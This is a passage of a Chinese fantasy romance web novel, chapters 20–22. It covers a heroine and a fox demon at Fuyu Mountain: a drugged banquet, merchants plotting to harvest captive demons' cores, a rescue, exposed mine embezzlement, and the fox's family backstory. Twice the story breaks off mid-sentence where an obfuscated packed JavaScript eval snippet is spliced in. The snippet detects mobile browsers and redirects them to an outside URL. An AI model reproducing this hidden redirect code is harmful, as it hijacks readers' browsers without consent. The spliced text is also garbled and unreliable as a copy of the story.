李昭宁笑:“它们是真心想帮忙,不能打击积极性。” 萧蘅没说话。 晚风穿过银杏树,叶子沙沙作响。有几片落下来,打着旋儿,落在两人脚边。 李昭宁忽然问:“萧蘅,你为什么一定要跟我去浮玉山?我记得你之前,可是装病,死活不去的。” 萧蘅沉默了一会儿,然后看着她,目光有些复杂:“怕你又出事。” 李昭宁一愣。 他移开目光,望向远处的暮色。天边褪去了所有的暖橙,青灰色的夜笼罩着大地。 “那天晚上……”他顿了顿,“你躺在床上,脸色那么白,呼吸那么轻。我叫你,你没应。一直在咳嗽。” “我不想再看第二次。” 李昭宁怔住了。 她看着他,看着他侧脸的轮廓,看着他垂下的眼睫,看着他抿成一条线的嘴唇。 暮色里,他站得笔直,像一棵不会弯腰的树。 可那句话落在她心里,像一颗石子投进深潭,激起一圈又一圈的涟漪。 风还在吹,银杏叶还在落。时间在流转,一点一点,她忽然不知道该说什么。 两人就这么站着。谁也没说话。 许久,李昭宁轻轻开口:“……好。” 她笑了笑。 “那就一起去。” 夜里。 李昭宁躺在床上,翻来覆去睡不着。 窗外的月光透进来,把屋里的一切都染成淡淡的银白色。 她盯着天花板,脑子里反复回响着那句话。 “你躺在床上,脸色那么白,呼吸那么轻。我叫你,你没应。一直在咳嗽。” 萧蘅说这话时的表情,声音,目光和平常完全不一样。 平常的他,嘴硬,傲娇,动不动就“烦死了”“懒得理你”。 真奇怪,好像有什么变了,又有什么没变。 她翻了个身,把脸埋进枕头里,在想什么啊,明天还要早起呢。 她闭上眼睛,可脑海里还是他的脸。他站在暮色里的样子,他说“我不想再看第二次”时的语气。 嘴角不自觉地弯起来,弯着弯着,又觉得自己傻,她睁开眼,看着窗外的月光。 月光很亮。 不知道他睡了没有。 与此同时,杻阳山。 没有月光,厚重的云层遮住了天空,一丝光也透不下来。何照的洞府深处,一盏幽绿的灯火忽明忽暗,把周围照得鬼气森森。 一道黑影跪在下方,低垂着头。 “浮玉山那边,准备好了吗?” 黑影开口,声音嘶哑:“是。只等他们来。” 何照睁开眼,灯火映在他脸上,那张原本还算端正的面孔,此刻扭曲得像恶鬼。 “萧蘅……”他念着这个名字,嘴角慢慢勾起一抹冷笑。 “这回,我看你怎么选。” 20. 浮玉山鸿门宴 浮玉山到了。 山脚下镇子不大,却修得齐整。远处山坳里隐约可见矿洞入口,一列列矿车正沿着轨道缓缓滑行,空气中有一股淡淡的煤灰味,混着山野草木的气息。 李昭宁刚落地,就看见一群人迎了上来。 打头的是个富态的中年人,穿一袭绛紫色锦袍,腰间挂着块成色极好的玉佩。他脸上堆着笑,笑得恰到好处,既不过分热情显得谄媚,就是那种让你挑不出毛病,但也看不清底细的笑。 萧蘅看了一眼,没说话。 “李大人远道而来,辛苦了辛苦了!”富态中年人拱手行礼,腰弯得恰到好处,“在下姓金,是这浮玉山商会的会长。这几位都是咱们这儿的商户,听说大人要来,都盼着一睹风采呢。” 他身后站着四五个人,穿着打扮都不俗,此刻齐齐行礼,满面笑容。那笑容整齐得像是练过,让人看着舒服,但又说不上来哪里不对劲。 李昭宁还礼:“金会长客气了。” “哪里哪里,李大人能来,是我们浮玉山的福气。”金会长侧身让路,做了个请的手势,“这一路劳累,我们备了薄酒,为大人接风洗尘。” 李昭宁正要开口说煤矿的事,金会长已经笑着补充:“大人放心,煤矿的事不急,咱们边吃边聊,边吃边聊。大人难得来一趟,总得让我们尽尽地主之谊。” 话说到这份上,也不好再推辞。李昭宁点点头:“那就叨扰了。” 一行人往镇子里走。 萧蘅落后半步,目光从那几个商户脸上扫过。他们还在笑,但笑的时候眼睛会不自觉地往他这边瞟一下,然后又飞快地移开。 那种瞟法,像是在看什么稀奇的东西,又像是在估算什么值钱的物件。 他收回目光,什么都没说。 宴席设在一座气派的宅院里。 院子挺大,青砖黛瓦,雕梁画栋,不愧是煤矿行长的家,就是气派。正中一张大圆桌,摆满了菜,鸡鸭鱼肉、山珍海味,热气腾腾地冒着香,光是看着就让人食欲大开。 金会长亲自把李昭宁让到上座,萧蘅坐在她旁边。小妖们和芝兰被安排在旁边的小桌上,也是好酒好食好灵果招待着,那几个小的一坐下就两眼放光,但又不敢动筷子,只拿眼睛往李昭宁这边瞟。 李昭宁冲它们点点头,示意可以吃,它们这才欢天喜地地动起手来。 她看了一眼,放心了。 金会长端起酒杯:“李大人,这第一杯酒,敬您。”他的笑容真诚得挑不出毛病,“感谢您为蓟州百姓做的那些事,减税、除贪、办快递,咱们浮玉山的人都听说了,佩服,真是佩服!” 李昭宁端起杯:“金会长过誉了。今天来,主要是为了煤矿的事……” “哎,不急不急。”金会长笑着打断,手往下压了压,“大人一路辛苦,先喝杯酒暖暖身子。煤矿的事,咱们慢慢聊,有的是时间。” 李昭宁不好再说什么,把这杯酒喝了。 酒入喉,微辣,带着一股粮食的香气,应该是好酒。 金会长又给她满上。 “第二杯,敬您这魄力。”他竖起大拇指,“一个女人,敢跟妖怪打交道,还办了那个什么快递,让它们帮着送东西。咱们这儿的人,想都不敢想。” 李昭宁笑了笑:“妖也好,人也罢,都是过日子。能帮上忙的,就是好帮手。” “说得好!”金会长眼睛一亮,冲旁边几个人使了个眼色,“听见没有?李大人这话说得多通透!冲这句话,咱们得再敬一杯!” 旁边那几个商户纷纷附和,举着杯子凑过来。 “李大人,我敬您!” “大人,我也敬您!” 李昭宁一一应对。 几杯酒下肚,她开始觉得身上有点热,脸颊也微微发烫。她以为是酒劲上来了,没太在意,伸手去夹菜想压一压。 萧蘅在旁边看着她。 他看着她喝了一杯又一杯,看着那几个商人你来我往地劝酒,看着他们的笑容越来越殷切,眼睛却越来越亮。 那种亮法,让他想起山里那些盯上猎物的野兽。 他又看了一眼李昭宁面前的酒杯。酒是没问题的,他闻过。但喝这么多…… 他伸出手,按住了她正要举起的杯子。 李昭宁愣了一下,转头看他。 萧蘅没说话,只是看着她。 李昭宁眨眨眼,小声说:“没事,正事还没谈呢,再应付几杯。” 萧蘅眉头皱了皱。他想说“别喝了”,想说他来挡,想直接把杯子拿走。 但李昭宁已经把他的手轻轻推开,端起杯子,又跟人喝了一杯。 萧蘅看着自己被推开的手,顿了顿,慢慢收回来。 没再拦。 他只是看着。 看着她跟那些人周旋,看着她笑得得体大方,看着她一杯接一杯地喝。 那些人还在劝酒,但一说到煤矿的事,就立刻岔开话题。 萧蘅在旁边看着,看着那些人脸上的笑,看着李昭宁越来越红的脸色。 她的手开始不稳了,说话的时候,舌头也有一点打结,但她还在撑着,还在说那些运输价格、交接地点、时间安排。 那些人笑着听,点头,附和,但一说到正题,就又岔开。 萧蘅忽然又伸出手,按住了她的酒杯。 这一次,他没有松开。 李昭宁转头看他,眼神已经有点涣散,但还是努力聚焦在他脸上。 “怎么了?” 萧蘅看着她。 她的脸红得不正常,眼睛也有点发直。这不是正常喝酒的样子。 他开口:“别喝了。” 李昭宁愣了一下,然后笑了笑,那笑容因为醉意变得有点憨:“没事,我还能喝。正事还没谈呢。” 她说着,又要去拿杯子,萧蘅按住她的手,没让她动。 李昭宁眨眨眼,想说什么,但一张嘴,忽然发现舌头有点不听使唤了。 “我……” 她晃了晃头,想让自己清醒一点。但头更晕了。 眼前的人开始有重影。一个萧蘅,变成两个,又变成三个。她扶着桌子,想站起来,腿却软得像面条,使不上劲。 “李昭宁。”萧蘅的声音从很远的地方传来。 她想回应,想说“我没事”。 但眼皮越来越沉,越来越沉。 最后看见的,是萧蘅那张骤然变色的脸。 和对面金会长脸上,那终于不加掩饰的笑。 * 李昭宁醒过来的时候,后脑勺还在一跳一跳地疼。 她试图睁眼,眼皮沉得像灌了铅。视线模糊了很久,才慢慢看清眼前的景象,一间陌生的屋子。屋里点着熏香,味道甜腻腻的,熏得人更晕。 不对。 李昭宁猛地清醒过来,挣扎着想要起身,却发现手腕被什么勒住了。低头一看,是拇指粗的麻绳,把她牢牢绑在椅子上。绳子勒得很紧,稍微动一下就疼。 “醒了?” 一个油腻腻的声音从旁边传来。 李昭宁转头,看见金会长坐在不远处的太师椅上,端着茶杯,笑眯眯地看着她。旁边还站着那几个迎接的商户,一个个脸上都带着那种让人恶心的笑。 “金会长。”李昭宁声音沙哑,喉咙干得像要冒烟,“你这是干什么?” “干什么?”金会长放下茶杯,站起身,慢慢踱到她面前。他俯下身,凑近她,酒气喷在她脸上,混着那股甜腻的熏香味,让人想吐。 “李大人,您是真不明白还是装不明白?” 他直起身,背着手,绕着她慢慢走了一圈。 “您在蓟州搞什么妖界速递,让那些畜生在人间跑来跑去,我们早就看不过眼了。那些东西,凭什么跟我们平起平坐?” 他停下来,又凑近她,笑得意味深长:“现在倒好,自己送上门来了。” 李昭宁心里一沉:“什么意思?” 旁边一个尖嘴猴腮的人接话:“李大人有所不知,这妖丹可是大补之物。尤其是修炼出人形的妖,一颗妖丹,能延寿三十年。那穿山甲的甲片,磨成粉,治百病。那蛟的鳞片,入药炼丹,比什么灵芝人参都强。” 他舔了舔嘴唇,眼睛里闪着贪婪的光:“您带来的那两只,可都是好东西。” 李昭宁猛地挣扎起来,绳子勒进手腕,火辣辣地疼:“你们疯了!那是活生生的妖!” “活生生怎么了?”一个胖子商人开口,声音尖细刺耳,“畜生活着不就是给人吃的?猪羊牛马能吃,妖怎么就不能吃?” 李昭宁盯着他,一字一顿:“它们不是畜生。它们是能说话、能思考、有感情的生灵。” 胖子嗤笑一声。 “李大人,您这觉悟太高,我们理解不了。”他摇着头,一脸“你这人怎么这么想不开”的表情,“我们只知道,妖丹能长生,甲片能治病,这就够了。” 他转身往外走:“去把那两只妖带过来。今晚就开膛取丹。” 李昭宁拼命挣扎,绳索纹丝不动。 金会长走到门口,忽然回头。 “对了,李大人。您那位朋友,那个长得挺俊的小白脸,是不是也是妖啊?” 李昭宁心头猛地一跳。 “他身上那股子味儿,我们的巫师隔着老远就闻出来了。”金会长笑得意味深长,“可惜啊,他酒喝得少,迷不倒他。不过没关系,我们准备了别的……” 话没说完。 门忽然被踹开了。 巨大的气浪把两扇门板直接掀飞,砸在对面的墙上,轰然一声巨响,像把天空撕裂。那股甜腻的熏香味瞬间被冲散,取而代之的是一股冷冽的、带着山林气息的风。 李昭宁看到那一缕白影掠过,便知道是他。 金会长还没反应过来,已经被一只手掐住脖子,整个人离地而起。 萧蘅站在门口,雪白的狐狸耳朵从玄紫色发间探出,七条白色尾巴在身后缓缓摆动。他的身后躺着那个所谓的巫师,巫师手中还握着符咒,但符咒已被撕成两半,人已经不省人事。 室外的光从他身后照进来,把他的轮廓映成一道白色的剪影。他的眼睛散发着鎏金般的光芒,那光芒很亮,亮得刺眼,却又冷得让人心底发寒。 他的声音压得很低,像野兽的低吼:“你刚才说什么?” 那声音不大,却让屋里所有人同时打了个寒战。 金会长被他掐着脖子,脸憋得通红,双手拼命去掰那只手,却像掰在铁钳上,纹丝不动。他的脚在空中乱蹬,喉咙里发出“嗬嗬”的声音:“我……我……” “萧蘅。”李昭宁喊了一声,“金刚和阿蛟呢?” “浮雀它们去救了。”萧蘅没有回头。他只是盯着金会长,盯着这个刚才说要“开膛取丹”的人。他的眼睛越来越亮,那鎏金的光芒几乎要溢出来。 他的手慢慢收紧,金会长的脸从红变紫,眼睛开始往上翻。 “杀了你,”萧蘅的声音很轻,轻得像在说一件不值一提的小事,“我都不需要动妖力。” “萧蘅!” 李昭宁的声音让他动作顿了顿。 他偏过头,看了她一眼。 那一眼里有很多东西,愤怒,厌恶,还有一种她看不懂的复杂。像是在看一个让他又恨又放不下的人。 然后他松开手。金会长像一摊烂泥一样滑到地上,剧烈地咳嗽起来,一边咳一边往后缩。 萧蘅没有再看他。他走到李昭宁身边,只是轻轻一挥手,那拇指粗的麻绳便断成几截,落在她脚边。 李昭宁的手腕上一片通红,勒出了深深的血痕。 萧蘅低头看了一眼。 他的眉头皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213534|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。那一下皱得很轻,如果不是一直盯着他看,根本不会发现。 然后他什么也没说,转身往外走。 “萧蘅……” 他顿住脚步,没有回头。 “走吧。”声音很淡,淡得像隔了一层什么,“它们回来了。” 李昭宁看着他的背影,忽然觉得有什么东西不对劲。 他平时不是这样的。平时他就算生气,也会跟她呛几句,阴阳怪气几句。可现在他什么都不说,什么都不问,只是让她走。 但她来不及多想,起身跟了上去。 身后,那个胖子商人悄悄往后退,想从侧门溜走。 萧蘅头也没回,只是随手一挥。一道劲风掠过,胖子惨叫一声,捂着膝盖滚倒在地。 “再动一下。”萧蘅的声音从门口传来,还是那么淡,“腿就别要了。” 没人敢动了。 院子里,浮雀、玄武和芝兰正护着金刚和阿蛟。 金刚缩成一团,浑身发抖。阿蛟身上有几道血痕,皮肉翻着,看起来是被什么利器划的,但好在不深。旁边躺着几个打手,哼哼唧唧爬不起来。 看见李昭宁,金刚一下子扑过来,抱着她的腿不放,那小爪子抓得死紧。 “大人大人大人,他们要杀我呜呜呜他们说要扒我的甲片……要挖我的丹……” 它说不下去了,只是抱着她的腿,把脸埋在她衣袍里,浑身发抖。 李昭宁蹲下来,抱住它,一遍遍抚摸它的甲片。那些甲片平时是硬的,现在却软趴趴的,像是被吓没了力气:“没事了。没事了。” 她抬头看向萧蘅。 萧蘅站在院子里,阳光直直地照在他身上。他没有躲,就那么站在最亮的地方,背对着她。浮雀飞过来,落在他肩上,小声说了句什么。萧蘅没有回应,只是站在那里,一动不动。 浮雀看了看他,又看了看李昭宁,啾了一声,那声音里有点小心翼翼的意味。 李昭宁站起身,走到萧蘅身边:“萧蘅。” 他没应。 “大家都没事吧?” 他依然没应。 风从院子里穿过,带着血腥气,还有远处山林的气息。阳光很烈,晒得人皮肤发烫,可站在他身边,却莫名觉得有点冷。 过了一会儿,他忽然开口:“你听见他刚才说的了吗?” 李昭宁一愣。 “妖丹,能延寿三十年。”萧蘅的声音很平,平得像在说别人的事,“甲片入药,磨成粉,治百病。鳞片炼丹,比灵芝人参都强。” 他顿了顿。 “你知道我们妖族曾经有多少同类,死在人类手里吗?就为了那一颗丹,那几片甲,那一身皮肉。从上古到现在,几万年了,死都死不完。” 李昭宁张了张嘴,说不出话。她其实想反驳妖怪也是如此对待人类,可眼下不是争辩的时候。 萧蘅转过头,看着她。 明明是正午,阳光最烈的时候,他的眼睛却幽深得像一潭水,看不到底。那鎏金的光芒已经收起来了,只剩下原本的黑。可那黑里,好像藏着很多东西。 “李昭宁,你做的那些事,妖界速递,教化学院,让他们学认字学规矩。你以为能改变什么?” 他顿了顿:“在他们眼里,妖永远是妖。永远是能杀、能吃、能炼丹的东西。你教得再好,学得再多,在他们眼里,还是一样。” 李昭宁喉咙发紧:“不是所有人都是这样……” “是吗?”萧蘅嘴角勾了勾,却没有笑意,那勾起的弧度只是让他的脸看起来更冷,“那你告诉我,今天这屋里,有几个是人?有几个是愿意跟妖和平共处的?你跟他们喝了那么多酒,说了那么多话,他们听进去一句了吗?” 李昭宁沉默了。 萧蘅看着她。 阳光落在他脸上,把他的轮廓照得清晰分明。那双眼睛里,倒映着她的影子。很小的一个影子。 “我不是怪你。” 他的声音忽然低下去。 低得不像那个刚才还掐着人脖子说“杀了你我都不用动妖力”的妖,低得像是怕被人听见。 “我只是在想……” 他移开目光,望向远处的山。那里的山影重重叠叠,一层叠着一层,看不到尽头。 “为什么你是人类。” “而我,偏偏是妖。” 李昭宁站在原地,看着他的侧脸:“人有善恶妖亦有,不能以偏概全,世界阴阳平衡我们无法打破,但我会竭尽所能创造出一个和平美好的小世界。” 阳光很烈,照得清一切。可站在他身边,她忽然觉得有什么东西横在他们中间。 明明只隔了一步,却像隔着什么看不见的东西。那东西看不见摸不着,却实实在在地挡在那里,让他们怎么走也走不到一起。 萧蘅转过头,看着她。这次的目光,和刚才不一样。刚才那一眼里,有愤怒,有厌恶,有复杂。 现在这一眼,什么都没有。 空空的。 像是他把所有情绪都收起来了,收进那个从来不让任何人进去的地方。那个地方上了锁,锁得死死的,谁也进不去。 “走吧。” 他说。 声音很淡。 淡得像是在对一个陌生人说话。淡得像他们之间什么都没有发生过。淡得像那些夜晚的守候、那些别扭的关心、突发的吻,好像都是她一个人的幻觉。 他转身,朝院外走去。 李昭宁站在原地,看着他的背影。 金刚蹭过来,抱着她的腿,真是的,明明它受了欺负,还在小声安慰她:“你们不要吵架……” 李昭宁没有回答。 她只是看着那个越来越远的背影。 阳光把他的影子拖得很长,长到几乎要触到她的脚尖。 可他没有回头。 21. 害怕 订单上的煤矿半日就装好了,但李昭宁没走。 萧蘅知道她“职业病”又犯了。总是爱管闲事,爱管那些无关紧要的百姓。他靠在矿场边的老槐树下,看着她忙进忙出,看着她把那些账目一张张整理好。 阳光从树叶缝隙里漏下来,落在她身上,是斑驳的,晃动的,可望不可及的。 金行长那一行人被五花大绑押在矿场中央,旁边还跪着十几个参与昨晚围捕的打手。 矿工们围了一圈又一圈,里三层外三层,人头攒动。 “那不是金老板吗?他怎么被抓了?” “金行长?他不是县太爷跟前的大红人吗?” “那个穿紫袍的,去年还让我给他家修院子,工钱到现在没给……” 窃窃私语像潮水一样漫过来。 李昭宁站在人群中央,手里拿着一沓纸。那沓纸被风吹得微微晃动,但她站得很稳。 “各位乡亲。”她开口,声音清亮,穿透了所有的嘈杂,“昨晚的事,想必大家都听说了。这几个人,设鸿门宴想害我,还想杀我带来的小妖,取妖丹炼丹。” 人群哗然。 “取妖丹?那是啥?” “听说是妖怪身体里的东西,吃了能长生不老。” “那也不能杀啊,人家又没害人。” “就是,我看着那几个小妖挺乖的,早上还帮老张家搬东西呢。” 李昭宁抬手,人群慢慢安静下来。 “我今天要说的,不只是昨晚的事。”她举起手里的纸,“这是这几年浮玉山煤矿的账目。大家想知道,为什么你们每天挖煤十几个时辰,拿的工钱却连饭都吃不饱吗?” 矿工们面面相觑。有人低下头,有人攥紧了拳头,有人张了张嘴,又闭上了。 李昭宁开始念。 念账目里的数字,朝廷下拨的矿工饷银是多少,实际发到矿工手里是多少,中间的差额去了哪里。明明是平平无奇的数字,此刻却像刀子一样锋利,一刀一刀剜在人心上。 念金行长和其他州郡几个官员勾结,私卖煤矿,中饱私囊的勾当。那些勾当从三年前开始,一笔一笔,清清楚楚。 念那些被“矿难”掩盖的真相,塌方死了人,不报,草草埋了,家属只拿到几两银子的封口费。有人拿了钱不敢吭声,有人连钱都没拿到。 人群里开始有人哭。 一个老矿工蹲在地上,捂着脸,肩膀剧烈地抽搐。粗糙的手掌盖不住眼泪,泪水从指缝里渗出来,滴在黄土上:“我儿子……两年前塌方……他们说给了五十两抚恤,我连一个子儿都没见着……” 哭声、骂声顿时混成一片。 李昭宁没有拦,她把账目交给旁边的人,让他们传阅。 然后她走到矿工们中间:“我知道,这些年你们受了很多苦。”她的声音不高,但每个人都听得见,“这些账,我会带回蓟州,一五一十报上去。该退的银子,朝廷会退。该判的罪,朝廷会判。” 风把她的头发吹起来,几缕碎发贴在脸颊上。她没有拨开,就那么站着,站在人群中。 萧蘅站在不远处,始终没有靠近。老槐树的影子拉得很长,把他的半个身子都罩在阴凉里。他还是靠在树干上,抱着胳膊,脸上没什么表情。他一直不明白,很多人巴不得走出贫困的人群,脱离苦海,走上高处,可李昭宁偏偏要往低处走,去贫瘠的大地扎根,去闯。 浮雀飞过来,落在他肩上,轻轻啄了啄他的头发:“老大,你不去跟大人说说话吗?” 萧蘅没应。 他选择远远观望李昭宁。 看着她跟矿工说话,看着她蹲下来跟一个小孩平视,笑着摸摸孩子的头。那孩子有点怕生,缩着脖子躲了一下,她又笑着从袖子里摸出一块糖,递过去。孩子犹豫着接了,她摸摸头,说了句什么,孩子笑了。 她笑起来的时候,眼睛会弯成两道月牙。 萧蘅移开目光,心里忽然有些乱。 昨晚的话,他说得太重了。 但他说的不对吗? 他见过太多。见过人类为了妖丹,设陷阱、下毒、围猎,无所不用其极。见过妖类为了报复,屠村、吃人、以杀人为乐。两族之间的血债,从上古到现在,几万年了,算都算不清。 李昭宁做的那些事,在这样的大势面前,能算什么?算到最后只会把自己搭进去。 可看着她被那些矿工围着,听他们哭诉,陪他们流泪,一遍遍说着“会好的”。 他忽然不确定了。 金刚不知什么时候蹭到他脚边,用脑袋顶了顶他的腿。 萧蘅低头,金刚仰着脑袋看他,眼睛圆圆的,亮亮的:“大王,大人是好人。” “你怎么知道?” 金刚想了想。那小脑袋歪着,想了很久:“因为她抱我的时候,手是暖的。” 萧蘅愣了一下,那边,李昭宁忽然抬头。目光穿过人群,穿过那些还在议论的矿工,穿过飘浮的尘埃,落在他身上。 然后她朝他走过来。 阳光从她身后照过来,把她的轮廓镀上一层淡淡的金边。她的影子越拉越长,像一条大河,立志要让所有人喝到一口干净的水,最后停在他面前:“萧蘅。” 她站在他面前,仰头看他。那双眼睛里有疲惫,有认真,还有一种他始终看不懂的东西:“昨晚的话,我想了一夜。” 萧蘅等着她说下去。 她笑了笑,有点疲惫,但眼睛还是亮的:“你说得对。有很多人,确实把妖当成能杀能吃的东西。当然也有很多妖怪,肆意践踏伤人,这些我们都改变不了。” “天道本就不全,更何况落到我们渺小的人或妖身上,”她顿了顿,坚定再道:“但我愿意尽全力开创一个清平的盛世。你若不愿可归去,我不逼你。但请你,也不要说服我放下。” “我们相互尊重,互不打扰。” 萧蘅愣愣听着,觉得荒谬又遥远,他头一次听人这样说过话,不强迫你同意,也不强迫你的去留,一切随你,但同样,任何人都不能动摇她的决心。 但他自己的心里有什么东西,动了一下。 * 傍晚,矿场旁边的空地上,架起了几口大锅。 炊烟升起来,飘向渐渐暗下来的天空。 浮雀和玄武从镇上帮忙送物资换来了米和菜,萧蘅嘲笑它们也犯“职业病”了,芝兰生火,一边生一边被烟熏得直咳嗽。金刚和阿蛟帮忙搬柴,比赛似的一趟一趟跑得飞快。 矿工们起初不敢靠近,远远站着看。后来有几个胆大的凑过来,帮着洗菜切菜。再后来,人越来越多。锅里的粥咕嘟咕嘟冒着热气。米香混着菜香,飘得很远。 小妖和人类围坐在一起。你一碗我一碗,捧着碗蹲着,坐着,站着。有人给金刚多盛了一勺,金刚仰头说了声谢谢,那人愣了一下,然后笑了。 有个老矿工端着碗,看着对面的金刚,忽然开口:“我年轻时候见过妖。” “那会儿我刚来矿上,有次塌方,我被压在里头。”老矿工的声音沙哑,说得很慢,“黑漆漆的,啥也看不见。我以为我要死了。迷迷糊糊的,感觉有什么东西在扒石头。扒了好久,把我拽出来。” 他顿了顿:“等我醒了,它已经走了。” 旁边有人问:“你后来找着它没?” 老矿工摇头:“找不着。也不知道它是死是活。”他看着金刚,眼眶有些红,“你们……你们要好好的。” 金刚点点头,把脑袋埋进碗里。过了会儿,又抬起头,冲老矿工咧嘴笑了笑。 李昭宁端着碗坐在一边,看着这一幕。 萧蘅坐在不远处,一个人。周围的人都自觉地跟他隔开一点距离,不知道是不敢靠近,还是本能地感觉到什么。 李昭宁想了想,端着碗走过去,在他旁边坐下。 他没看她,也没动。 “不吃?” 萧蘅看了一眼那锅粥:“我不吃这个。” 李昭宁也不强求,自己低头喝粥。 粥有点烫,她吹了吹,小口小口地喝。喝了几口,她忽然开口:“你以前……是不是被人伤过?” 萧蘅没回答,不禁回想起自己父母的故事。那是一个极为悲伤,任何妖都不愿提起的故事。 李昭宁没追问。她只是把碗放下,看着远处的暮色。 天边烧成一片橘红,颜色一层一层地淡下去,最上面是深蓝,最下面是暗紫。有几颗星星已经出来了,很淡,要仔细看才能看见。 “我母亲是人类。” 不知过了多久,萧蘅开口,声音很轻,要埋没在风声里。李昭宁闻言大惊,手中的碗忘了放下,举在膝头。 “她是被我父亲强制带上杻阳山的。” “母亲有一位青梅竹马参军去了,一直在等他回来,却被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217462|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我父亲捷足先登,”他顿了顿,嘴角勾出一抹嘲讽的笑,“你不是一直好奇我为什么只有七条尾巴吗。” “因为剩下两条,是玄色的。” 说罢,他露出雪白的狐狸耳朵,又点了点自己的玄紫色头发:“因为我这个样子,我父亲恨我,母亲自然也恨我。所有人与妖都应该会恨我。” 李昭宁没说话。虽然萧蘅只说了点表面,但也能听出来恨海情天。 怪不得萧蘅总是那么别扭,有时候总爱显眼。原来是这样。 “我不恨你呀,”她低下头,看着自己的手,“我觉得你是最最最最好的小狐妖。” 萧蘅转头看她。暮色里,她的侧脸被染成淡淡的橘红色。睫毛投下细小的阴影,嘴唇抿着,嘴角微微扬起。 “你所经历的事情我不能评头论足,”她也看向他,笑颜盈盈,“但是在这些天的经历中,我知道,你是一个口是心非的好妖,你嘴上说不喜欢人类,还不是一次次救我,一次次帮我们的忙。” “蓟州发展成现在这样,以及教化学院和妖界速递的成功都离不开你。” 她一字一顿,再次说道:“我们不往大的说,就说我们吧。若没有你,我恐怕早就成为杻阳山上的一冤魂了。” 夕阳的余晖落进她眼睛里,亮亮的。那双眼睛里,有什么东西在烧着。烧了很久了,从第一次见面到现在,一直在烧。 他忽然移开目光,低头掰着道边的野草。 “……傻子。” 李昭宁笑了:“可能是吧。” * 夜深了。 萧蘅站在窗边,看着远处的月色。屋内没有点灯,月光从窗户照进来,落在他身上,把他的轮廓勾成一道淡淡的银边。 身后传来敲门声:“谁?” “我。” “我。” 好几声“我”同时响起,紧接着,几只小妖推门进房间。 萧蘅没转身,不知道为什么有一点失落。 几只小妖在他身后站定,大眼瞪小眼,互相推搡着,谁也不敢先进来。门还开着,月光从走廊那头淌进来,在地上拖出一团又一团模糊的影子,随着夜风轻轻摇晃。 阿蛟站在最前面,憋了半天,终于开口:“大王,我有个问题。” “说。” “你那时……为什么那么生气?” 萧蘅没回答,他站在窗边,一动不动,像是没听见。 阿蛟等了一会儿,久到身后的小妖们开始交换眼神,久到月光悄悄移了半寸,萧蘅才开口:“你想说什么?” 阿蛟挠挠头,和玄武等小妖对视几眼。 “我也不知道,”它憋出一句,“我就是觉得……大王你以前不是这样的。” 萧蘅眉头一皱:“我以前什么样?” “以前……”阿蛟想了想,声音闷闷的,“以前你什么都不在乎。妖也好,人也罢,谁死谁活,你都不管。在杻阳山的时候,那些小妖死了,你就看一眼,说句‘埋了’,就完了。不会生气,也不会……也不会像现在这样。” 它顿了顿:“可是现在……” “你好像有在乎的东西了。” 这句话落下去,屋子里忽然安静了,安静得能听见窗外的风声,能听见远处隐约的虫鸣,能听见自己的心跳。 萧蘅没有说话,抬头看向月亮。 小妖们等了一会儿,没等到回答,又怕萧蘅动怒,互相说着“都怪你出的主意”匆匆忙忙退场。 乌云出来了,飘在空中遮挡了半数的月光,忽暗忽明的白光从窗户照进来,落在萧蘅身上,落在他的肩上,落在他垂着的手上。 他低头,看着自己的手。 那只手,昨天掐住金行长的脖子时,是真的想拧断它。 有愤怒,但更多的是因为害怕。 害怕什么? 害怕李昭宁出事。 害怕那些人类,真的会伤害她。 害怕有一天,她也会像他母亲一样,死在他怀里。 那个画面忽然闯进脑子里,是母亲苍白如枯槁的的脸,以及父亲抱着她时的表情,那种想喊喊不出声、想做些什么却什么都做不了的绝望。 他的手抖了一下,快速拢回袖中。 窗外,月亮彻底隐入云层,屋子暗下来,暗得什么都看不见。 只有他一个人站在那里。 很久很久。 22. 说谎的爱意 浮玉山的第三天。 李昭宁忙得脚不沾地。账目要整理,矿工要安抚,新矿头的任命要敲定原来的金行长和那几个官员,已经被押送回蓟州候审。 自当上次萧蘅告诉她自己父母亲的故事后,他就很少出现在她面前。 偶尔看见他,也是远远站着,看着,不说话。她也不是没招呼他,他却一改往日,变成了个闷葫芦。 李昭宁能感觉到,不止他一人发生了变化,她也是。当她忙里忙外的时候,会不自觉地抬头看向四周,发现他不在的时候,心里会空一下。 虽然只有一瞬间。 这天傍晚,她刚从矿上回来,累得腰都直不起来。刚走从胡同转过弯,便看到屋里已经点好了灯,窗户半开着,隐隐能闻到米饭香的味道。 她抬起胳膊蹭了蹭眼睛,真心觉得自己累出幻觉了。 她又狠狠掐了自己一下,得知不是梦之后,便迈开步子狂奔到家,猛地推开门,桌上放着热腾腾的饭菜,萧蘅一身蓝锦袍坐在窗边,背对着她,微微侧头瞥了她一眼:“还知道回来?” 屋内烛火很暖,李昭宁愣了一下,俯身嗅嗅饭菜的香气,满脸不可置信“你……做的?” 萧蘅眼皮都没掀:“买的。” “真的?”李昭宁当然不信,也没拆穿,她大爷似的晃悠着坐下来,又翘起二郎腿,端起碗吃了一口灵果炖土豆。 好吃哎! 但她故意没说,更是故意嚼得很慢。果不其然,坐在窗边那抹身影动了,梗着脖子不情愿走到她对面坐下,不是很熟练地拿起筷子,一双微微上挑的丹凤眼没了曾经那股傲劲,多了几分忐忑。 他欲言又止。 